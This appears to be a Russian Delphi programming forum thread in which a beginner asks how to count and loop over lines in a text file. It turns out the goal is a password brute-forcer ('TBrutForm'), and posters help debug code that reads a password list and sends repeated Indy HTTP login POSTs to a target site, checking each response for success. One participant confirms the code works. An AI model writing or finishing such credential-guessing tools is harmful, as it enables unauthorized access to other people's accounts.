Просмотр полной версии : [Delphi] Помогите с .txt файлом
Привет всем) народ помогите разобраться с text файлами...интересует меня собственно 2 вопроса:
1. Как мне посчитать строки в .txt файле при его открытие, ну и собственно нужно, чтобы кол-во вывелось куда нить...пофиг куда) главное пример!?
2. Как отпарсить первую строку, затем подставить её в скрипт, затем отпарсить вторую строку и опять же подставить её в скрипт, ну и собственно так до последней строки!
Прошу помочь, оч нуно :rolleyes:
ZdezBilYa
18.12.2009, 21:46
1. Как мне посчитать строки в .txt файле при его открытие, ну и собственно нужно, чтобы кол-во вывелось куда нить...пофиг куда) главное пример!?
Stroki:TStringList;
Stroki:=TStringList.Create;
Stroki.LoadFromFile('file.txt');
Stroki.Count - количество строк
2. Как отпарсить первую строку, затем подставить её в скрипт, затем отпарсить вторую строку и опять же подставить её в скрипт, ну и собственно так до последней строки!
нельзя, не видя строки примера, сказать, как парсить, чтобы что-то из нее получить.
а вообще используй Pos и Copy
AlexTheC0d3r
18.12.2009, 22:21
нельзя, не видя строки примера, сказать, как парсить, чтобы что-то из нее получить.
а вообще используй Pos и Copy
возможно под словом "парсить" он имел ввиду совсем другое, т.е. обычный цикл перебора строк...
var i:integer;
begin
for i:=0 to stroki.count-1 do // если не ошибаюсь, нумерация строк Tstringlist начинается с 0, если все-таки ошибаюсь, то замени 0 на 1, и -1 убери...
begin
{
тут код.... обращаться к текущей строке stroki[i].text; - выведет текст текущей строки...
}
end;
end;
Stroki:TStringList;
Stroki:=TStringList.Create;
Stroki.LoadFromFile('file.txt');
Stroki.Count - количество строк
нельзя, не видя строки примера, сказать, как парсить, чтобы что-то из нее получить.
а вообще используй Pos и Copy
Спасибо, попробовал, но возникло "НО" вот делаю такой код:
procedure TForm1.Button1Click(Sender: TObject);
var
Stroki:TStringList;
begin
Stroki:=TStringList.Create;
Stroki.LoadFromFile('D:\filename.txt');
Label1.Caption := Stroki.Count;
end;
Ругаеться на :
Label1.Caption := Stroki.Count;
Понимаю, что это совсем не годиться, ну тогда подскажите куда это значение можно вывести) желательно на Label.Caption! :(
В чем моя ошибка? еще вопрос по поводу счета строк, мне надо что бы при открытие файла т.е. я открываю файл через OpenDialog1 текстовый и мне сразу считывается кол-во строк...подскажите как лучше прикрепить?
вот код на OpenDialog1:
procedure TBrutForm.LoadButtonClick(Sender: TObject);
begin
Open1.InitialDir := GetCurrentDir;
if
Open1.Execute
then
Password.Text := Open1.FileName
else
ShowMessage('Файл не выбран!');
end;
Подскажите, как прикрутить подсчет строк к этому?
P.S. Извиняюсь за глупые вопросы, просто занимаюсь Delphi недавно...
ZdezBilYa
19.12.2009, 02:57
Ошибка, потому что Label1.Caption типа string, а Stroki.Count типа integer.
Надо:
Label1.Caption := IntToStr(Stroki.Count);
Чтобы при открытии сразу количество строк выводилось, то вот так:
procedure TBrutForm.LoadButtonClick(Sender: TObject);
begin
Open1.InitialDir := GetCurrentDir;
if
Open1.Execute
then
begin
Password.Text := Open1.FileName;
Stroki:=TStringList.Create;
Stroki.LoadFromFile(Open1.FileName);
Label1.Caption := IntToStr(Stroki.Count);
end
else
ShowMessage('Файл не выбран!');
end;
Подскажите, как прикрутить подсчет строк к этому?
P.S. Извиняюсь за глупые вопросы, просто занимаюсь Delphi недавно...[/QUOTE]
Ошибка, потому что Label1.Caption типа string, а Stroki.Count типа integer.
Надо:
Label1.Caption := IntToStr(Stroki.Count);
Чтобы при открытии сразу количество строк выводилось, то вот так:
procedure TBrutForm.LoadButtonClick(Sender: TObject);
begin
Open1.InitialDir := GetCurrentDir;
if
Open1.Execute
then
begin
Password.Text := Open1.FileName;
Stroki:=TStringList.Create;
Stroki.LoadFromFile(Open1.FileName);
Label1.Caption := IntToStr(Stroki.Count);
end
else
ShowMessage('Файл не выбран!');
end;
Ох Вы мой спаситель :rolleyes:
Спасибо Вам огромное за помощь... :)
Может Вы мне подскажите как сделать так, что бы вытаскивалась строка из файла вставлялась в PassEdit.text например или в какую нить процедуру и так процедура это длилась пока не закончатся строки...хотя бы небольшой пример.
Вот сделал такую процедуру:
procedure TBrutForm.StartButtonClick(Sender: TObject);
var
Http : TidHttp;
CM : TidCookieManager;
Data : TStringList;
StrPage, UserID, UserName : String;
Str1 : TStringList;
i : Integer;
begin
Str1:=TStringList.Create;
Str1.LoadFromFile(Open1.FileName);
begin
for i:=0 to str1.count-1 do
try
Http := TIdHTTP.Create(Self);
Data := TStringList.Create;
CM := TidCookieManager.Create(Http);
Http.AllowCookies := true;
Http.CookieManager := CM;
Http.HandleRedirects := true;
Http.Request.Host:=HostEdit.Text;
Http.Request.UserAgent:='Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1.6) Gecko/20091201 MRA 5.4 (build 02647) Firefox/3.5.6 WebMoney Advisor';
Http.Request.Accept:='text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8';
Http.Request.AcceptLanguage:='ru,en-us;q=0.7,en;q=0.3';
Http.Request.AcceptCharSet:='windows-1251,utf-8;q=0.7,*;q=0.7';
Http.Request.Referer:=RefererEdit.Text;
Data.Add('subaction=dologin');
Data.Add('username='+NickEdit.Text);
Data.Add('password='+Str1[i].Text);
Data.Add('selected_language='+BoxLanguage.Text);
StrPage := Http.Post(HTTPEdit.Text, Data);
finally
Data.Free;
CM.Free;
Http.Free;
Str1.Free;
end;
if Pos('Engine:</td',StrPage) <> 0 then
ShowMessage('Поздравляем авторизация прошла успешно!')
else
ShowMessage('Авторизация провалилась.'+#13#10+'Возможно вы ввели не правильный пароль или имя!'+#13#10+'Проверьте их и попробуйте снова!');
end;
Но выдаёт ошибку тут:
Data.Add('password='+Str1[i].Text);
Ругаеться на +Str1[i].Text
В чем я ошибся, подскажите плз! :(
ZdezBilYa
19.12.2009, 03:53
Ошибка в том, что обращение к конкретной строке в списке делается просто Str1[i], где i - номер строки. Никакого Text не надо.
Остальное вроде всё верно на первый взгляд)
Ругаеться на +Str1[i].Text
Конкретно не сталкивался с таким выбором строки, но я делаю так когда нужно показать отдельную какую либо строку:
str1.strings[i]
Ошибка в том, что обращение к конкретной строке в списке делается просто Str1[i], где i - номер строки. Никакого Text не надо.
Остальное вроде всё верно на первый взгляд)
исправил вроде заработало) только если в файле 1 пасс то норм логинится, если он правильный а вот если два то прога виснет) подскажите, что сделать, что бы сначало пробовал первый пасс потом второй потом третий... и т.д.? есть примерные идеи? :confused:
ZdezBilYa
19.12.2009, 14:20
у вас идет освобождение списка:
finally
Data.Free;
CM.Free;
Http.Free;
Str1.Free;
end;
вынесите это за цикл for
у вас идет освобождение списка:
вынесите это за цикл for
Вот так? всё ровно ругается... :(
procedure TBrutForm.StartButtonClick(Sender: TObject);
var
Http : TidHttp;
CM : TidCookieManager;
Data : TStringList;
StrPage, UserID, UserName : String;
Str1 : TStringList;
i : Integer;
begin
Str1:=TStringList.Create;
Str1.LoadFromFile(Open1.FileName);
begin
for i:=0 to str1.count-1 do
try
Http := TIdHTTP.Create(Self);
Data := TStringList.Create;
CM := TidCookieManager.Create(Http);
Http.AllowCookies := true;
Http.CookieManager := CM;
Http.HandleRedirects := true;
Http.Request.Host:=HostEdit.Text;
Http.Request.UserAgent:='Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1.6) Gecko/20091201 MRA 5.4 (build 02647) Firefox/3.5.6 WebMoney Advisor';
Http.Request.Accept:='text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8';
Http.Request.AcceptLanguage:='ru,en-us;q=0.7,en;q=0.3';
Http.Request.AcceptCharSet:='windows-1251,utf-8;q=0.7,*;q=0.7';
Http.Request.Referer:=RefererEdit.Text;
Data.Add('subaction=dologin');
Data.Add('username='+NickEdit.Text);
Data.Add('password='+Str1[i]);
Data.Add('selected_language='+BoxLanguage.Text);
StrPage := Http.Post(HTTPEdit.Text, Data);
finally
Data.Free;
CM.Free;
Http.Free;
end;
if Pos('Engine:</td',StrPage) <> 0 then
MemoLog.Lines.Add('Авторизовался под паролем '+Str1[i])
else
MemoLog.Lines.Add('Авторизация под паролем' +Str1[i]+ 'не получилась!');
end;
Str1.Free;
end;
или за
finally
Data.Free;
CM.Free;
Http.Free;
end;
Str1.Free;
if Pos('Engine:</td',StrPage) <> 0 then
MemoLog.Lines.Add('Авторизовался под паролем '+Str1[i])
else
по-моему второй вариант? :confused:
всё ровно виснет если два пароля :\
AlexTheC0d3r
19.12.2009, 21:59
надо ждать пока залогиниться и проверять это в цикле, далее если залогинился, неправильный пароль, то берешь следущий...
функция того компонента, который используешь должна называться что-то вроде LoggedON
и иметь тип булевая
Markus_13
19.12.2009, 22:59
Вот так? всё ровно ругается...
жесть, Kandi если ты настолько плохо понимаешь что делает "твой" код - что незнаешь куда приткнуть команду, лучше доверь написание программы более компетентному человеку)))
функция того компонента, который используешь должна называться что-то вроде LoggedON
и иметь тип булеваябред =)
код проверил - все пашет (с tIdAntiFreeze)
разумеется если
вынесите это за цикл for
жесть, Kandi если ты настолько плохо понимаешь что делает "твой" код - что незнаешь куда приткнуть команду, лучше доверь написание программы более компетентному человеку)))
бред =)
код проверил - все пашет (с tIdAntiFreeze)
разумеется если
Я привык учиться сам.... а купить, что то можно всегда!
Что у тебя работает расскажи? цикл подбора паролей?
Markus_13
20.12.2009, 02:55
Я привык учиться сам.... а купить, что то можно всегда!
ты запутался в терминологии: "учиться" и "копипастить" - разные слова)))
Что у тебя работает расскажи? цикл подбора паролей?
код работает (post-запросы проходят, параметры передаются, все работает)
1. Как мне посчитать строки в .txt файле при его открытие, ну и собственно нужно, чтобы кол-во вывелось куда нить...пофиг куда) главное пример!?
В Делфи можно организовать цикл:
while not EOF do
begin
end;
Вроде так
AlexTheC0d3r
20.12.2009, 23:35
бред =)
совсем не бред, если программа с максимально возможной скоростью пытается залогиниться в 1 поток используя все пароли в текстовом файле, не дожидаясь ответа от сервера...
AlexTheC0d3r
20.12.2009, 23:37
В Делфи можно организовать цикл:
while not EOF do
begin
end;
Вроде так
после перехода на Delphi и соответственно появления TStringList, отпала такая необходимость использовать такое как rewrite(); reset(); readln(); writeln(); eof(); и т.д.
Markus_13
21.12.2009, 02:37
совсем не бред, если программа с максимально возможной скоростью пытается залогиниться в 1 поток используя все пароли в текстовом файле, не дожидаясь ответа от сервера...опять бред - во1ых речь не про потоки, во2ых первый раз слышу про "функцию IdHttp что-то вроде LoggedON"))
при запросе IdHttp приостанавливает выполнение программы до получения ответа сервера, если же использовать TIdAntiFreeze - это позволит убрать подвисания интерфейса
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot